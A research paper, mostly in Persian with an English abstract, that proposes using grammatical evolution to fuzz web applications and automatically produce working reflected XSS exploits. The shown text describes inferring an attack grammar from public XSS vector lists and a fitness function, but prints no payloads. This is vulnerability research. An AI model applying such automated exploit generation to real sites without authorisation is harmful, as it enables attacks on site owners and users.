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ABSTRACT 

Fuzzers can reveal vulnerabilities in the software by generating test input data and feeding inputs to the 

software under test. The approach of grammar-based fuzzers is to search in the domain of test data which 

can be generated by grammar in order to find an attack vector with the ability to exploit the vulnerability. 

The challenge ahead of the fuzzers is the very large or infinite search domain as finding the answer in such 

a domain is hard. Grammatical Evolution (GE) is one of the evolutionary algorithms that can utilize     

grammar to solve the search problem. In this research, a new approach for generation of fuzz test input 

data by using grammatical evolution is introduced to exploit the cross-site scripting vulnerabilities. For this 

purpose, a grammar for generating XSS attack vectors is presented and a fitness calculation function is   

proposed to guide the GE in the search for exploitation. This method has realized the automatic exploitation 

of vulnerability with the black-box approach. The results of this research show 19% improvement in the 

number of vulnerabilities discovered compared to the white-box method of NAVEX and black-box ZAP tool, 

without any false positives. 
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 چکیده

کنند. رویکرد فازرهاي  افزار آشکار  را در نرم ها پذیري ها، آسیب این ورودي با افزار نرم اجراي و آزمون هاي ورودي تولید از طریق توانند می فازرها
پذیري است.  برداري از آسیب بردار حمله با قابلیت بهره منظور یافتن یک تولید توسط گرامر به هاي قابل گرامر، جستجو در دامنه داده مبتنی بر

چالش این فازرها، دامنه جستجوي بسیار بزرگ یا نامحدود هست و یافتن پاسخ در این دامنه یک مسئله سخت است. تکامل گرامري یکی از 
این تحقیق با استفاده از تکامل گرامري یک رویکرد تواند براي حل مسئله جستجو از گرامر استفاده نماید. در  هاي تکاملی است که می الگوریتم

پذیري تزریق اسکریپت معرفی شده است. به این منظور یک روش  برداري از آسیب منظور بهره جدید جهت تولید داده ورودي آزمون فاز به
جهت هدایت تکامل گرامري براي استنتاج گرامر تزریق اسکریپت از روي بردارهاي حمله ارائه شده است و یک تابع محاسبه برازندگی 

پذیري تزریق اسکریپت را با رویکرد جعبه سیاه محقق  برداري خودکار از آسیب برداري نیز ارائه گردیده است. این روش، بهره جستجوي بهره
سیاه زپ و  جعبه و ابزار سفید ناوکس روش جعبه به شده نسبت کشف هاي اکسپلویت تعداد در بهبود% 19 تحقیق این روش ساخته است. با

   .است آمده دست به بدون هیچ اتهام غلط،

، تکامل گرامري، فازر، آزمون فازXSSپذیري، تزریق اسکریپت یا  برداري از آسیب پذیري، بهره آسیب ها: کلیدواژه

مقدمه  -1

همچنـان در بـین چنـد     XSSیـا   1پذیري تزریق اسـکریپت  آسیب
در موضـوع  . ]1[دارد هـاي وب قـرار    پـذیري اصـلی برنامـه    آسیب

تشخیص حمله تزریق اسکریپت تحقیقات زیادي با رویکـرد صـرفاً   
. امـا چنانچـه یـک    ]2-6[پذیري انجـام شـده اسـت     کشف آسیب

از آن وجـود   2بـرداري  پذیري کشف شود ولـی امکـان بهـره    آسیب
شــود. منظــور از  محســوب مــی 3نداشــته باشــد یــک اتهــام غلــط

دار حمله ارائـه گـردد کـه    برداري این است که حداقل یک بر بهره
ــد آســیب ــذیري کشــف بتوان ــه پ ــزي  طــور موفقیــت شــده را ب آمی

اي یک اکسپلویت نامیده  مورداستفاده قرار دهد. چنین بردار حمله
پـذیري   برداري این است که اول کشف آسیب شود. لازمه  بهره می

برداري از آن بررسی شود. رویکـرد   انجام شود و سپس امکان بهره
یگر با دیدگاه کاهش اتهام غلط بوده است که این کـار  تحقیقات د

شـده بـا پـذیري کشـف   بـرداري از آسـیب   را با بررسی امکان بهـره 
. روش برخــی از ایــن ]7-10[انــد  هــاي مختلــف انجــام داده روش
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1 Cross-site Scripting 
2 Exploit 
3 False Positive 

یـک بـردار حملـه سـاده      آزمـون  فقـط تحقیقات در این رویکـرد،  
ــاده        ــل آم ــه از قب ــت ک ــه اس ــاي حمل ــتی از برداره ــا فهرس ی

هـاي دیگــر تــلاش بـراي تولیــد یــک    . روش]12 و 11[انــد  شـده 
 . ]13-16[اکسپلویت است 

ــاز ــون فـ ــل 4آزمـ ــی قابـ ــف   نقشـ ــؤثر در کشـ ــه و مـ توجـ
فازرهـا و   چـالش . ]17[داشته اسـت  افزاري  هاي نرم پذیري آسیب
 توجـه بـه   با آزمون هاي داده تولید پذیري، هاي کشف آسیب روش

 آزمـون  داده تولیـد . اسـت  برنامـه  هـاي  ورودي پذیرش الگوي قابل
 ابتـداي  در را آزمون هاي داده پذیرش عدم میزان گرامر، بر مبتنی

 از برداري بهره در موفقیت احتمال و دهد می کاهش برنامه به ورود
 .برد می بالاتر را پذیري آسیب

رویکرد این تحقیق خودکارسازي تولیـد اکسـپلویت از طریـق    
است. در این  5آزمون فاز جعبه سیاه و با استفاده از تکامل گرامري

اسـتفاده از تکامـل گرامـري بـراي     «تحقیق براي اولین بـار ایـده   
پذیري تزریـق   برداري از آسیب منظور بهره سازي آزمون فاز به پیاده

گـردد. بـراي تشـخیص موفقیـت یـا عـدم        مطرح مـی » اسکریپت
شود و نحوه  موفقیت تزریق اسکریپت، چهار معیار ارزیابی ارائه می

4 Fuzz Testing or Fuzzing 
5 Grammatical Evolution(GE) 
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شود. بـا کمـک ایـن معیارهـا و در      یح داده میها توض محاسبه آن
هاي ورودي آزمون، یک تابع محاسبه برازندگی  جهت ارزیابی داده

شود. تزریق اسکریپت موردنظر در این  ارائه شده و توضیح داده می
تحقیق از نوع انعکاسی است، هرچند ازلحـاظ نظـري ایـن امکـان     

نـواع تزریـق   وجود دارد که روش این تحقیـق را در مـورد سـایر ا   
 اسکریپت نیز انجام داد.

 :هستند زیر صورت به دهد می ارائه تحقیق این که اصلی موارد

برداري از  یک رویکرد جدید براي کشف و بهره •
هاي وب با  پذیري تزریق اسکریپت در برنامه آسیب

 گردد. استفاده از تکامل گرامري ارائه می

بـه  گرامـر  آن یـک گرامر ارائه شده و بر اساس  استنتاج روش یک
 گردد. تولیدي ارائه می فازرهاي در استفاده قابلیت با BNF فرم

چهار معیار ارزیابی موفقیت تزریق اسکریپت معرفی  •
 شود. می

بر اساس معیارهاي مذکور، تابع محاسبه برازندگی معرفی  •
 گردد. می

سازي این رویکرد، ارائه شده و موردبررسی و  نتایج پیاده •
 گیرد. میمقایسه قرار 

ادامه این مقاله بـه ایـن شـرح اسـت: ابتـدا مـروري بـر کارهـاي         
پذیري تزریق اسکریپت انجـام   شده قبلی جهت کشف آسیب انجام

سـازي و   پیشنهادي ایـن تحقیـق و پیـاده    رویکردشود. سپس  می
گیـري و   به نتیجـه درنهایت گردد.  ها ارائه می بررسی نتایج آزمایش

 خواهد شد. بیان کارهاي آینده پرداخته

کارهاي مرتبط  -2

پـذیري اسـکریپت در    تحقیقات درباره کشف یا جلوگیري از آسیب
باره ارائه  سابقه طولانی دارد و مقالات زیادي دراین وبهاي  برنامه

شده است. با توجه به رویکرد این تحقیق، برخی از کارهاي مرتبط 
یـق  که از آزمون فاز استفاده کـرده یـا از گرامـر بـراي کشـف تزر     

 گردد. میمرور  اند اسکریپت بهره برده

در مقاله خود ابتدا با کمک تحلیـل   ]12[کیزان و همکارانش 
یک مبدأ ورودي به یک حفره را شناسـایی   آلودگی، مسیرهایی از

هاي بعدي را فقط روي این مسیرها که احتمـال   کنند و آزمون می
دهنـد. روش ایـن مقالـه     میدر آن هست انجام  XSSپذیري  آسیب

نیاز به مـتن برنامـه دارد و همچنـین تعـداد بـردار حملـه ورودي       
 آزمون در آن محدود است.

ــکاتو   ــینی و س ــف    د ]2[اوانس ــوع کش ــود موض ــه خ ر مقال
 و ژنتیــک الگــوریتم روش پــذیري تزریــق اســکریپت از دو آســیب
کننـد   پیشنهاد می و موردبررسی قرار داده را عینی-نمادین اجراي

 که بـراي افـزایش کـارایی و میـزان پوشـش فرآینـد کشـف ایـن        
شـوند. ایـن    ترکیـب  پذیري، بهتر است ایـن دو روش بـاهم   آسیب

برداري کنـد   هایی را کشف و بهره پذیري آسیبتواند  مقاله تنها می
 دهند. که ساختار صفحه را تغییر می

افزایش کارایی آزمون فاز در مقاله خود  ]3[گیو و همکارانش 
پذیري تزریق اسکریپت موردتوجـه قـرار    آسیب را براي پیدا کردن

این مقاله مستقیماً اسـتفاده از گرامـر بـراي تولیـد      اند. هدف داده
سـازي   هاي ورودي آزمون نیست بلکه هـدف تـرمیم و بهینـه    داده

مقاله ابتدا تعداد زیادي  این مجموعه بردارهاي حمله موجود است.
آوري کـرده اسـت و    عنوان ورودي اولیه فـازر جمـع   بردار حمله به

هـا و گرامـر و الگـوي موجـود در ایـن       سـپس بـا بررسـی ویژگـی    
سـازي ایـن مجموعـه     بردارهاي حمله اولیه اقدام به ترمیم و بهینه

کرده است تا حجم محاسبات لازم پایین آمده و کارایی فـازر بـالا   
 برود. 

اند کـه   در مقاله خود پیشنهاد داده ]18[ هوانگ و همکارانش
از بجـاي  منظور بهبود عمل تولید داده آزمون در فرآیند آزمون ف به

زمان از ترکیـب   طور هم استفاده از یک عملگر جهش در هر بار، به
ایـن   چندین عملگر جهش براي تولید داده آزمون اسـتفاده شـود.  

مقاله تلاشی بـراي هـدایت فـازر در حـین جسـتجو بـراي بـردار        
 برداري موفق ندارد. بهره

 اند کـه  پرداخته مسئله این به ]20 و 19[محمدي و همکاران 
 توابـع  منظور جلوگیري از تزریق اسـکریپت از  به ها برنامه اگر حتی
 کـرده  اسـتفاده  escapejs یـا  escapehtml مثـل  اسـکریپت  از فرار

 درسـت  ترتیـب  به یا و نبوده خود جاي در اگر استفاده ولی باشند
 خواهد وجود XSS امکان بازهم و است اي فایده بی باشد کار نبوده
کند که مکان حمله تزریق اسکریپت در  این مقاله بیان می .داشت

هــا Eventو یــا در  CSSیــا بخــش  URIنقــاط خــاص در بخــش 
کـه یـک حملـه تزریـق اسـکریپت بایـد        ایـن  اسـت و تفکیک  قابل

شامل یک اجراي تـابع جـاوا اسـکریپت یـا یـک عملگـر        درنهایت
باشد. براي تولید بردارهاي حمله تزریق اسـکریپت یـک     تخصیص

انـد. بـراي کـاهش اتهـام غلـط،       گرامر مستقل از متن ارائـه کـرده  
هاي ورودي آزمون از روي گرامر، با اسـتفاده از   بر تولید داده علاوه

 تـا  کننـد  مـی  تسـت  اًواقع ـ را خروجی JWebUnit 1سر مرورگر بی
ببینند. رویکرد این مقاله جعبه  انتخابی را اسکریپت اجراي نتیجه

 سفید است.

 تزریـق  پـذیري  آسـیب  کشف مسئله ]21[همکارانش  و ژوشو
 مــورد در طــور اختصاصــی بــه را فــاز آزمــون طریــق از اســکریپت

 از اسـتفاده  کـار  این براي و  بررسی نموده »وب ایمیل« هاي برنامه
 توانـد  می جهش عمل که نقاطیاند تا  داده قرار موردتوجه را گرامر

1 Headless Browser 
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  .کنند مشخص نماید را اقدام آنجا در

 از فهرستی در مقاله خود ابتدا ]22[ همکارانش و وانگ
 آوري جمع اینترنتی منابع از اسکریپت تزریق حمله اولیه بردارهاي

 کار به ساختارمند یادگیري روش یک ها آن روي سپس و کرده
 اتوماتاي یک درواقع که 1منظم گرامر یک درنتیجه و برند می

 مخفی مدل یک نهایتاً آن روي از و کرده ایجاد احتمالاتی است
 هاي ورودي تولید براي مدل این .کنند می استخراج مارکوف
این مقاله تست نهایی موفقیت یا عدم  .شود می استفاده آزمون

 دهد. صورت خودکار انجام نمی برداري را به موفقیت بهره

 پذیري آسیب کشف در مقاله خود ]4[ همکارانش و دوچن
 ژنتیک الگوریتم کمک به فاز آزمون طریق از را اسکریپت تزریق
اند. برنامه وب را  رامر بهره گرفتهاند و براي این کار از گ داده انجام

اند و آزمون را از حالتی  مدل کرده حالت ماشینصورت یک  به
کنند که نقطه ورود تزریق اسکریپت از قبل کشف شده  شروع می

 در متن از مستقل گرامر یک صورت به مذکور حمله است. گرامر
 و جهش عملگرهاي در گرامر این از. است شده تعریف مقاله

  .شود می استفاده تقاطع

 اسکریپت تزریق در مقاله خود کشف ]10[ همکارانش و وانگ
 ورودي داده تولید اند و براي دادهرا موردتوجه قرار  DOM نوع از

 روش ردیابی از استفاده اند. ابتدا با برده  گرامر بهره آزمون از یک
کنند و سپس با توجه  مکان تزریق اسکریپت را پیدا می 2آلودگی

 داده ترتیب این و به کرده مقداردهی را گرامر به متن، پارامترهاي
این مقاله براي تست برنامه به متن  .کنند می تولید را آزمون واقعی

 آن احتیاج دارد.

 ها REST API تست به اقدام ]23[همکارانش  و اتلیداکیس
 مدل یک یادگیري کار این براي. اند کرده فاز آزمون طریق از

 ها آن به وابسته موارد و API هاي درخواست ساختار شامل آماري
 طریق از و آماري مدل این از سپس و دهند می انجام را

. نمایند می تولید آزمون معتبر هاي ورودي جهش، هاي راهبرد
 انتخاب منظور به پوشش، افزایش براي مناسب هاي بازخورد
 .شوند می استفاده بیشتر پوشش براي تر مناسب هاي ورودي

 هـاي  ورودي روي از در مقاله خـود  ]24[ابرلین و همکارانش 
 گرامـر  این از سپس. کنند می استخراج احتمالاتی گرامر یک اولیه

 آزمـون  ورودي داده تولیـد  بـراي  احتمـالات  کردن معکوس با اما
 یـادگیري  هنگـام  در که قوانینی که شکل این به کنند می استفاده

 تا کنند می استفاده بیشتر را اند بوده کمتري) تکرار( احتمال داراي
 تکـاملی  الگـوریتم  از همچنـین . شـود  بیشـتر  کـد  پوشـش  میزان

 بـا  و کنند می انتخاب را ها بهترین نسل، هر در و کنند می استفاده

                                                                 
1 Regular Grammar 
2 Taint Tracking 

ــا آن کمــک ــال ضــرایب ه ــر در را احتم ــالاتی گرام ــود احتم  بهب
 تولیــد ســمت بــه تکــاملی الگــوریتم ترتیــب ایــن بــه. بخشــند مــی

 .شود می هدایت خاص هاي ویژگی با آزمون هاي ورودي

هایی را که ورودي فایل  آزمون فاز برنامه ]25[ذاکري و پارسا 
هاي نمونـه اولیـه یـک     پذیرند مد نظر قرار داده و از روي فایل می

کنند. این کـار را بـه کمـک     گرامر در قالب مدل زبان استنتاج می
دهند. سپس از این مدل  شبکه عصبی و یادگیري عمیق انجام می

 کنند. یجدید ورودي آزمون استفاده م  براي تولید داده

اي به حل مسئله  شده قبلی تااندازه هرچند کارهاي انجام
هایی  هایی دارند. روش ها چالش اند ولی هرکدام از آن کمک کرده

هستند و  وابسته خاص زبان اند اولاً به کرده عمل سفید که جعبه
نیست کارایی ندارند.  دسترس در ثانیاً در مواردي که متن برنامه

ها چه در وضعیت جعبه سفید و چه  ین روشهمچنین بسیاري از ا
پذیري یا صرفاً وجود انعکاس  جعبه سیاه صرفاً امکان وجود آسیب

هستند. نکته مهم دیگر  غلط زیاد داراي اتهام اند و  را بررسی کرده
شده  گرفته نادیده ها ویژه نفوذگران در اغلب روش اینکه تخصص

اي را  دستی و حرفه هاي ها قابلیت رقابت با روش است و این روش
د توضیح داده . در رویکرد پیشنهادي که در بخش بع]26[ندارند 

حل ارائه  ها یک راه شود تلاش شده است براي رفع این چالش می
 گردد.

 فاز با تکامل گرامري آزمون پیشنهادي: رویکرد  -3

پذیري داراي  هاي کشف آسیب طور که ذکر شد اغلب روش همان
شده،  پذیري کشف اتهام غلط هستند یا قادر نیستند براي آسیب

براي کاهش اتهام غلط در فرآیند کشف برداري ارائه نمایند.  بهره
برداري از آن معلوم شود. آزمون   پذیري، لازم است نحوه بهره آسیب

عنوان یک روش مؤثر براي بررسی چگونگی  تواند به فاز می
 دامنه فازرها، پذیري استفاده شود. چالش برداري از آسیب بهره

 دامنه نای در پاسخ یافتن و است نامحدود یا بزرگ بسیار جستجو
 .3است سخت پی ان مسئله یک

در این تحقیق یک رویکرد جدید آزمون فاز براي کاهش اتهام 
پذیري تزریق اسکریپت از طریق بررسی  غلط در کشف آسیب

گردد. قبل از معرفی  پذیري ارائه می برداري از آسیب امکان بهره
 رویکرد پیشنهادي ذکر موارد زیر لازم است.

 تزریق پذیري آسیب کشف باهدف وب برنامه فاز آزمون هنگام
 برنامه هاي ورودي باید ابتدا دیگري فاز آزمون هر مانند اسکریپت،

 و احصاء از پس فاز آزمون در بعدي مرحله. شوند شناسایی وب

                                                                 
هـا از   مسـائلی هسـتند کـه سـختی آن     NP-Hardدر نظریه پیچیدگی، مسـائل   3

 اي نامعین بیشتر است. مسائل چندجمله
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 در 1سقوط ایجاد قصد به ورودي داده تزریق ها، ورودي کردن پیدا
اسکریپت انعکاسی،  تزریق پذیري آسیب مورد در. است برنامه
 خروجی به ورودي از اسکریپت است که یک مترادف آن سقوط

 گردد. اجرا مرورگر در و شود  منعکس

ازنظر این تحقیق، در یک حمله تزریق اسکریپت، صرف 
مشاهده انعکاس دلیل بر موفقیت حمله نیست و حتی شرط لازم 

 هم نیست؛ بلکه ملاك موفقیت، اجراي صحیح اسکریپت است. 

ــه  ــردار حملــه ب عنــوان نقطــه  پیــدا کــردن محــل انعکــاس ب
پذیر، موضوع تحقیق بسیاري از محققین بوده است ولـی در   آسیب

کمتـري صـورت گرفتـه      برداري از آن تـلاش  خصوص امکان بهره
در این تحقیق فرض بر این است که محل انعکاس  بنابراین،است. 

» هـدف بـردار حملـه   «مشخص است و مسئله اصلی، انعکاس یک 
است زیرا اگر به پیدا کردن محل انعکاس نیز پرداخته شود فضاي 

ماند. روش انتخابی ایـن تحقیـق،    کافی براي بحث اصلی باقی نمی
است و البته از مفـاهیم و ابزارهـاي    2استفاده از آزمون فاز تولیدي

نیز استفاده شده است. علت انتخاب ایـن روش ایـن    3فازر جهشی
هاي یک برنامه، مدل یا الگو یا  تولید ورودياست که چنانچه براي 

گرامري وجود داشته باشد انتخاب فازر تولیدي ارجـح اسـت زیـرا    
هاي تولیدشده قواعد ورودي برنامه تحت آزمون را رعایـت   ورودي

هـا در عبـور از فیلترهـاي     احتمال موفقیت آن بنابراین،کنند و  می
 اعتبارسنجی درون برنامه بیشتر خواهد بود.

تکامـل  «ویکرد این تحقیـق بـراي حـل مسـئله، اسـتفاده از      ر
وسیله یـک گرامـر اسـت.     و تولید داده ورودي آزمون به» گرامري

عنـوان یـک    تواند علاوه بر رفتار ذاتی خـود بـه   تکامل گرامري می
برداري را در تولید  روش تکاملی، از گرامر موجود نیز حداکثر بهره

هـاي   توانـد ویژگـی   چنین میداده ورودي آزمون میسر سازد و هم
 بگیرد. کار بهزمان با آزمون فاز تولیدي  آزمون فاز جهشی را هم

البته اولین شرط براي استفاده از تکامل گرامـري، در اختیـار   
هاي اصلی در ایـن   یکی از چالش بنابراین،داشتن یک گرامر است. 

رویکرد، تأمین و ارائه یک گرامر مناسب است. به ایـن منظـور در   
شـود و در تکامـل    این تحقیق، یک روش استنتاج گرامر ارائه مـی 

 گیرد. گرامري مورداستفاده قرار می

با توجه به استفاده از تکامل گرامري در طرح پیشنهادي ایـن  
گـردد و سـپس    تحقیق، ابتدا یک معرفی مختصر از آن ارائـه مـی  

 طرح پیشنهادي تشریح خواهد گردید. 

                                                                 
1 Crash 
2 Generation Fuzz Testing 
3 Mutation Fuzzer 

 تکامل گرامري -3-1

خابی این تحقیق براي حل مسئله، استفاده از روش روش انت
نویسی  است. تکامل گرامري یک روش برنامه )GE( تکامل گرامري

است که توسط رایان و اونیل و همکارانشان در سال  4ژنتیک
این روش، الگوریتم  . در]28 و 27[است معرفی گردیده  1998

 کند. استفاده می تکاملی براي جستجو و تولید اعضاء از یک گرامر

هستند که از روي  5در تکامل گرامري، افراد جامعه ژنوتایپ
تولید  6هر ژنوتایپ توسط قواعد گرامر یک جمله یا فنوتایپ

اي از روي  گردد. هدف از تکامل گرامري این است که جمله می
گرامر موجود ساخته شود که بیشترین (یا کمترین) میزان 

حاسبه میزان برازندگی با انتخاب یک برازندگی را داشته باشد. م
گردد. تکامل گرامري در بین  مناسب محقق می 7تابع برازندگی

پردازد تا جمله  هاي تولیدشده توسط گرامر به جستجو می جمله
 بهینه را پیدا نماید.

کند تا بتوان هر  ایده تفکیک ژنوتایپ از فنوتایپ کمک می
، تکامل 8حام ذراتسازي ازد الگوریتم تکاملی ازجمله بهینه

را علاوه بر الگوریتم ژنتیک که  10هاي تکاملی و راهبرد 9تفاضلی
ها انجام داد.  فرض در تکامل گرامري است روي ژنوم الگوریتم پیش

 سامانه تکامل گرامري را نشان  ) ساختار یک1شکل (
اند از مسئله، گرامر و  این سامانه عبارتهاي  . ورودي]29[دهد  می

کند که از سامانه چه  الگوریتم جستجو. مسئله مشخص می
کار با معرفی یک تابع برازندگی مناسب  انتظاري وجود دارد و این

هاي سامانه که  کند که خروجی شود. گرامر مشخص می انجام می
باشند. الگوریتم جستجو  افراد جامعه هستند به چه شکلی می

طور  کند که این کار به هاي جامعه را معین می طریقه ایجاد نسل
تقاطع  مثال با معرفی عملگرهاي لازم مانند عملگر جهش و عملگر

گردد. خروجی تکامل گرامري  در الگوریتم ژنتیک مشخص می
نویسی ژنتیک یک (قطعه) برنامه است و  همانند برنامه

اي است که از روي گرامر ساخته شده و  دیگر، جمله عبارت به
 سازد. برازندگی مورد انتظار را برآورده می

فـرض در تکامـل گرامـري همـان      الگوریتم جسـتجوي پـیش  
ژنتیک اسـت. عملگرهـاي تکـاملی متعـددي نیـز بـراي        الگوریتم

استفاده اسـت و   تشکیل نسل، انتخاب اعضاء، تقاطع و جهش قابل

                                                                 
 اسـت  تکاملی الگوریتم نوعی و است ژنتیک الگوریتم از شده اقتباس ژنتیک، نویسی برنامه 4

 هـاي  برنامـه  گیرنـد  مـی  قـرار  تکامـل  مـورد  که) عناصري(افرادي  ها، ژن جاي به آن در که
 .هستند کامپیوتري

5 Genotype 
6 Phenotype 
7 Fitness Function 
8 Particle Swarm Optimization 
9 Differential Evolution 
10 Evolution Strategies 
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 .]30[ 1توسط فنتون و اونیل و همکارانشان تشریح گردیده است

 طرح پیشنهادي مبتنی بر تکامل گرامري -3-2

طرح پیشنهادي در این تحقیق استفاده از سامانه تکامل گرامـري  
 گردند: است که اجزاء این سامانه به شرح زیر تأمین می )1شکل (

 
 .]29[ ساختار یک سامانه تکامل گرامري :)1شکل (

 

سئله: پـذیري تزریـق    بـرداري از آسـیب   مسئله عبـارت از بهـره   م
هـایی   ها بردارهاي حمله هستند و جملـه  اسکریپت است. فنوتایپ

عنـوان داده ورودي   شـوند و بـه   هستند که توسط گرامر تولید مـی 
ها یک مقدار  شوند و به هریک از آن آزمون به برنامه وب تزریق می

 یابد. برازندگی اختصاص می

در اختیار داشتن یک گرامر مناسب یکی از ارکان استفاده  :گرامر
طـور کـه ذکـر شـد در ایـن       از روش تکامل گرامري است. همـان 

تحقیق یک گرامر براي تولید بردارهـاي حملـه تزریـق اسـکریپت     
گردد. این گرامر قادر است بردارهاي حمله پیچیـده و   استنتاج می

سـاز   مقایسه بـا بردارهـاي حملـه دسـت     د نماید که قابلغنی تولی
شـده   و همین قابلیت را به فازر معرفی توسط نفوذگران خبره است
نماید. روش پیشنهادي این تحقیق براي  در این تحقیق، منتقل می

 شود. استنتاج گرامر، در ادامه این بخش توضیح داده می

ستجو: گوریتم ج فـرض   یر از پیشتواند غ الگوریتم جستجو می ال
آن که الگوریتم ژنتیک است انتخاب شود. در طرح پیشنهادي این 

براي این منظور استفاده » هاي تکاملی راهبرد«تحقیق از الگوریتم 
شده است. انتخاب این الگوریتم به این دلیل است کـه در جریـان   

هاي متعدد انجام شـده   هاي زیادي با الگوریتم این تحقیق آزمایش
 گوریتم کارایی بالاتر نسبت به دیگران نشان داده است. و این ال

رنامه: برنامه(خروجی)، یک بردار حمله داراي بیشترین برازندگی  ب
حاصل از انجام فرآیند تکامل است. چنانچه مقدار این برازندگی از 

بـرداري   عنوان بهره شده در سامانه بالاتر باشد به یک آستانه تعریف
گیـري   گردد. در غیر این صورت نتیجـه  میپذیري معرفی  از آسیب

 برداري نیست. پذیري مورد آزمون، قابل بهره شود که آسیب می

رازندگی: تـرین ارکـان    ارائه تابع برازندگی یکی از مهم محاسبه ب
الگوریتم تکاملی است. به همین دلیـل نحـوه محاسـبه برازنـدگی     

 طور مشروح توضیح داده خواهد شد.  به
                                                                 

 PonyGE2 از متن پروژه از تحقیق این روش تست و گرامري تکامل سازي پیاده جهت 1
 این انجام در که شود داده آن متن در تغییراتی است نیاز راستا این در. است شده استفاده
 است گردیده اعمال لازم تغییرات تحقیق

 امراستنتاج گر -3-3

هاي قبلی ذکر شد لازم است براي فازرهاي  طور که در بخش همان
تزریق اسکریپت یک گرامر مناسب تهیه شود. در ایـن بخـش بـه    

منظـور تولیـد    معرفی روشی بـراي تولیـد و ارائـه یـک گرامـر بـه      
 شود. بردارهاي حمله تزریق اسکریپت پرداخته می

 از اي مجموعـه  کـه  دارنـد  وجـود  اینترنـت  در متعددي منابع
 و owasp.org سایت عنوان نمونه کنند، به می ارائه حمله بردارهاي

عنوان  ذکر است. این منابع معتبر هستند زیرا به قابل fuzzdb پروژه
و علاوه بر  ]31-33[گیرند  مرجع در مقالات مورداستفاده قرار می

 .هسـتند  هکرهـا  همچنـین  امنیتی و متخصصین آن مورداستفاده
استنتاج یک گرامر با استفاده از بردارهاي حمله موجـود،   بنابراین،

 در صورت امکان، کاملاً منطقی است.

عنـوان   روش پیشنهادي این مقاله، این بردارهاي حملـه را بـه  
کند  ها استنتاج می پذیرد و یک گرامر حمله از روي آن ورودي می

که قادر باشد علاوه بـر بازتولیـد تمـامی بردارهـاي حملـه اولیـه،       
 بردارهاي حمله جدید بسیاري نیز طبق گرامر تولید نماید.

) فرآینــد اســتنتاج گرامــر از روي بردارهــاي حملــه 2( شــکل
دهد. مراحل  شود نشان می ورودي را که در این مقاله پیشنهاد می

 مذکور به ترتیب زیر هستند:

عنوان  شود و به ابتدا فهرست بردارهاي اولیه انتخاب می -1
 شود. ورودي به فرآیند داده می

یک مرحله  2سکوئیتوربا استفاده از الگوریتم  -2
شود.  هاي اولیه انجام می سازي روي ورودي فشرده

شده در ظاهر شبیه یک گرامر مستقل  فهرست فشرده
 از متن خواهد بود.

شود تا  اقدامات اولیه روي نتیجه مرحله قبل انجام می -3
تر شود. این اقدامات  استفاده نزدیک به یک گرامر قابل

داشاره قرار خواهد به نام اختصاصی کردن گرامر مور
 گرفت.

از این مرحله به بعد عملگرهاي تعمیم اعمال خواهند  -4
گردید. تعمیم اول پرشی کردن گرامر است که امکان 

هاي جدید غیر از  بازگشتی بودن و قابلیت تولید جمله
 کند. هاي اولیه را براي گرامر فراهم می ورودي

 تعمیم بعدي جهشی کردن گرامر است که امکان ایجاد -5
کند و قابلیت فازرهاي  ها را فراهم می تنوع در جمله

 افزاید. جهشی را نیز به فازر تولیدي می

                                                                 
2 Sequitur algorithm 
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پذیري است که امکان ایجاد  تعمیم بعدي توقف -6
هاي بلند به گرامر  هاي کوتاه را نیز علاوه بر جمله جمله

 کند. اضافه می

صورت یک گرامر مستقل از متن  در پایان، خروجی به -7
 شود. راي فازر تحویل میقوي و مناسب ب

در ادامــه تمــامی مراحــل فــوق توضــیح داده خواهنــد شــد.

 
 .ها فرآیند استنتاج گرامر از روي ورودي :)2( شکل

 

 استنتاج گرامر اولیه -3-3-1

) یـک مـتن حـاوي    1منینگ-نویل(یا الگوریتم  الگوریتم سکوئیتور
تعـدادي جملـه را کـه هرکـدام در خطـوط جداگانـه قـرار دارنــد        

کنـد. ایـن الگـوریتم،     گیرد و آن را فشرده مـی  عنوان ورودي می به
صورت یک گرامـر مسـتقل از مـتن بـه فـرم       شده را به متن فشرده

BNF تـوان تمـام جمـلات     کند که از روي این گرامر مـی  ارائه می
. بـه همـین دلیـل ایـن     ]34[تن را اسـتخراج نمـود   موجود در م ـ

شـود یکـی از    الگوریتم که نوعی الگـوریتم حـریص محسـوب مـی    
. ]35[آیـد   هاي مورداستفاده در استنتاج گرامر به شمار مـی  روش

اهمیت این الگوریتم به این دلیل است که در زمان و مکان خطـی  
 کند. است و با سرعت بسیار بالا کار می

 نحوه کار الگوریتم سکوئیتور این است که ساختارهاي تکراري
در گرامـر   2صورت قاعده تولید ها را به کند و آن را در متن پیدا می

کند. هر قاعده گرامر(غیر از اولین قاعده) حـداقل بایـد    معرفی می
دو بار استفاده شده باشد. خروجی این الگوریتم به شکلی است که 
قاعــده تولیــد اول، وظیفــه بازســازي جملــه اصــلی (شــامل همــه 

طر) را به عهده دارد و سایر قواعـد تـک   هاي اولیه در یک س جمله
گـذاري   نـام  ... ،R0 ،R1،R2صـورت   اي هسـتند. قواعـد بـه    گزینه

 قاعده اول و قاعده شروع کار الگوریتم است. R0شوند و  می

کند ورودي تنها یک جمله اسـت. اگـر    این الگوریتم فرض می
هـا باشـد ایـن     ورودي یک فایل متنـی شـامل فهرسـتی از جملـه    

ها را در یک خط قرار داده و یک جمله بـزرگ   همه جمله الگوریتم
کند و سپس اقدام بـه   هاي مستقل ایجاد می متشکل از همه جمله

نماید. درنتیجه، تفکیک بردارهاي حمله مخدوش  سازي می فشرده

                                                                 
1 Nevill-Manning algorithm 
2 Production Rule 

توانـد یـک    شود و این گرامر در هنگام تولید جملـه، تنهـا مـی    می
ردارهاي حمله اولیه در جمله تولید کند که این جمله شامل همه ب

 یک سطر طولانی خواهد بود.

فـرض آن مناسـب    خروجی الگوریتم سکوئیتور به شکل پیش
نیست و لازم است تغییراتی در آن داده شود که اختصاصی کردن 

شود. به ایـن منظـور لازم اسـت تغییراتـی در      الگوریتم نامیده می
ه بعضـی  خروجی الگوریتم سکوئیتور اعمال گـردد، ازجملـه اینک ـ  

هـا اجـازه    ها در بردارهاي حمله وجود دارند که نباید به آن عبارت
سازي خـوب اسـت    شکستن داد، زیرا هرچند این کار براي فشرده

معنی است و مطلـوب نیسـت.    ولی براي گرامر تزریق اسکریپت بی
نیـز  ) new line( و خـط جدیـد   )space( براي کاراکتر فضاي خالی

 گیرد. باید تغییرات مناسب صورت

با اعمال تغییرات لازمه، هر قاعده تولید درنهایت در یک سطر 
 انـدازه  بـه (زیـادي  تعـداد  اول گیرد و قاعده تولید جداگانه قرار می

اند.  شده تفکیک هم از ) |(  علامت با که دارد گزینه) ها جمله تعداد
این اقدام باعث خواهد شد که گرامر تولیدي، دیگر تنها یک جمله 

